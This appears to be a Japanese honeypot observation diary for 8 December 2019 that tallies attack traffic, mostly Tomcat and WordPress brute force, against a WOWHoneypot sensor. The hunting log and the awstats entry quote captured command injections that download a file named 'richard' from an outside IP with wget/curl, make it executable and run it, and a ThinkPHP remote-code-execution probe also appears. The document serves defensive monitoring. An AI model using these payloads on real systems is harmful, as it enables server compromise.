WOWHoneypot観察(267日目)

2019/12/08(日)

トータルは4399件でした。

ハンティングログは以下です。

208.113.204[.]147 wget hxxp[:]//80.82.67[.]209/richard; curl -O hxxp[:]//80.82.67[.]209/richard

208.113.204[.]147 curl -O hxxp[:]//80.82.67[.]209/richard

www.virustotal.com
www.virustotal.com

件数	概要	リクエスト
4201	Tomcat管理ページに対するブルートフォース攻撃	GET /manager/html
48	アクセス	GET /
22	WordPressに対するブルートフォース攻撃	POST /wp-login.php
22	WordPressに対するブルートフォース攻撃	GET /wp-login.php
22	WordPressに対するブルートフォース攻撃	POST /admin/wp-login.php
22	WordPressに対するブルートフォース攻撃	GET /admin/wp-login.php
20	WordPressに対するブルートフォース攻撃	GET /wp/wp-login.php
19	WordPressに対するブルートフォース攻撃	POST /wp/wp-login.php
3	DVR/NVR/IPC のAPIにおける脆弱性を狙った通信	POST /editBlackAndWhiteList
2	AWSのリモート実行の攻撃	GET /cgi-bin/awstats.pl?configdir=	echo;echo%20YYY;wget%20hxxp[:]//80.82.67.209/richard;%20curl%20-O%20hxxp[:]//80.82.67.209/richard;%20chmod%20+x%20richard;%20sh%20richard;echo%20YYY;echo
2	ThinkPHPの脆弱性を狙った通信	POST /TP/public/index.php?s=captcha
2	ThinkPHPの脆弱性を狙った通信	GET /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
2	ThinkPHPの脆弱性を狙った通信	GET /TP/public/index.php
1	Spring Data Commonsの脆弱性を狙った通信	POST /users?page=&size=5
1	ZmEuによるphpMyAdminのスキャン	GET /w00tw00t.at.blackhats.romanian.anti-sec:)
1	ZmEuによるphpMyAdminのスキャン	GET /pma/scripts/setup.php
1	ZmEuによるphpMyAdminのスキャン	GET /phpmyadmin/scripts/setup.php
1	ZmEuによるphpMyAdminのスキャン	GET /phpMyAdmin/scripts/setup.php
1	ZmEuによるphpMyAdminのスキャン	GET /myadmin/scripts/setup.php
1	ZmEuによるphpMyAdminのスキャン	GET /MyAdmin/scripts/setup.php
1	サイト構成の調査	GET /sitemap.xml
1	クローリング	GET /robots.txt
1	アクセス	GET /favicon.ico
1	SSL証明書発行時の一時ファイルの調査	GET /.well-known/security.txt
1	不正中継の試み	CONNECT ip.bendersilver.ru:443